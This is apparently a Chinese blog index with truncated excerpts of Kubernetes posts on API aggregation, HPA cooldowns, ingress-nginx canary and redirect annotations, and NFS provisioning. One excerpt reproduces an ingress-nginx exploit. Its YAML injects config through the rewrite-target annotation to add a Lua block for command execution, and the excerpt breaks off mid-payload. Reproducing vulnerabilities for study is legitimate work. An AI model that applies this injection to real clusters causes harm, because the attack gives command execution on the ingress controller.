2023-11-23 myluzh Kubernetes
0x00 前置条件 1、开启K8S API聚合。关于API聚合:https://kubernetes.io/zh-cn/docs/concepts/extend-kubernetes/api-extension/apiserver-aggregation/ 2、集群中安装Metrics Server。 0x01 开启Kubernetes API Aggregation 在 Kubernetes 1.7 版本引入了聚合层,允许第三方应用程序通过将自己注册到kube-apiserver上,仍然通过 API Server 的 HTTP URL 对新的 API 进行访问和操作。为了实现这个机制,Kubernetes 在 kube-apiserver 服务中引入了一个 API 聚合层(API Aggregation Layer),用于将扩展 API 的访问请求转发到用户服务的功能。 ![](https://k8s-1252881505.cos.ap-beijing.myqcloud.com/k8s-2/aggergation.png) 当你访问 apis/metrics.k8s.io/v1beta1 的时候,实际上访问到的是一个叫作...2023-11-23 myluzh Kubernetes
0x00 HPA基本介绍 Kubernetes 中的 Metrics Server 持续采集所有 Pod 副本的指标数据。HPA 控制器通过 Metrics Server 的 API(Heapster 的 API 或聚合 API)获取这些数据,基于用户定义的扩缩容规则进行计算,得到目标 Pod 副本数量。当目标 Pod 副本数量与当前副本数量不同时,HPA 控制器就向 Pod 的副本控制器(Deployment、RC 或 ReplicaSet)发起 scale 操作,调整 Pod 的副本数量,完成扩缩容操作。 在弹性伸缩中,冷却周期是不能逃避的一个话题, 由于评估的度量标准是动态特性,副本的数量可能会不断波动。有时被称为颠簸, 所以在每次做出扩容缩容后,冷却时间是多少。 HPA(Horizontal Pod Autoscaler):Pod个数自动扩/缩容。在 HPA 中,默认的扩容冷却周期是 3 分钟,缩容冷却周期是 5 分钟。可以通过调整kube-controller-manager组件启动参数设置冷却时间: - --horizontal-pod-autoscaler-downscale-delay :扩容冷却 - --...2023-11-20 myluzh Kubernetes
0x00 Ingress金丝雀发布介绍 Nginx Annotations 支持以下 4 种 Canary 规则: (1)nginx.ingress.kubernetes.io/canary-by-header: 基于 Request Header 的流量切分,适用于灰度发布以及 A/B 测试。当 Request Header 设置为 always时,请求将会被一直发送到 Canary 版本;当 Request Header 设置为 never时,请求不会被发送到 Canary 入口;对于任何其他 Header 值,将忽略 Header,并通过优先级将请求与其他金丝雀规则进行优先级的比较。 (2)nginx.ingress.kubernetes.io/canary-by-header-value: 要匹配的 Request Header 的值,用于通知 Ingress 将请求路由到 Canary Ingress 中指定的服务。当 Request Header 设置为此值时,它将被路由到 Canary 入口。该规则允许用户自定义 Request Header 的值,必须与上一个 annotation (即:canar...2023-11-20 myluzh Kubernetes
0x01 Ingress-nginx的域名重定向(Redirect) # 关键配置 #annotations: # nginx.ingress.kubernetes.io/permanent-redirect: 'https://www.baidu.com/' --- apiVersion: networking.k8s.io/v1beta1 kind: Ingress metadata: annotations: nginx.ingress.kubernetes.io/permanent-redirect: 'https://www.baidu.com' name: ingress-xfsh namespace:xfsh spec: rules: - host: ingress.xfsh.com http: paths: - backend: serviceName: ingress-xfsh servicePort: 80 path: / ...标签: k8s kubernetes nginx Ingress
2023-11-16 myluzh Kubernetes
0x01 开头 这里的ingress一定要是nginx,进行复现的环境k8s版本是1.25,ingress里面参数nginx.ingress.kubernetes.io/rewrite-target,可以任意插入,就尝试插入 lua 代码通过注解注入特殊字符尝试闭合nginx配置文件块从而实现插入任意配置实现命令执行。 0x02 复现 1、exp-ingress.yaml如下 apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: ingress-exploit annotations: kubernetes.io/ingress.class: "nginx" nginx.ingress.kubernetes.io/rewrite-target: | execute-command/ last; } location execute-command/ { content_by_lua_block { local handle =...2023-11-9 myluzh Kubernetes
0x00 介绍 1、NFS-Subdir-External-Provisioner 在Kubernetes中,一个PersistentVolume(PV)只能绑定到一个PersistentVolumeClaim(PVC)。PV和PVC之间是一对一的关系,每个PVC只能绑定到一个PV。 使用支持动态PV和PVC创建的存储插件,您可以为每个PVC动态创建一个独立的PV。这样,每个PVC都有自己的PV,但它们可以共享相同的存储资源。 部署 NFS-Subdir-External-Provisioner 提供动态分配卷,NFS-Subdir-External-Provisioner是一个自动配置卷程序,它使用现有的和已配置的 NFS 服务器来支持通过持久卷声明动态配置 Kubernetes 持久卷。 持久卷被配置为:${namespace}-${pvcName}-${pvName}。 此组件是对 nfs-client-provisioner 的扩展,nfs-client-provisioner 已经不提供更新,且 nfs-client-provisioner 的 Github 仓库已经迁移到 NFS-Subdir-Ex...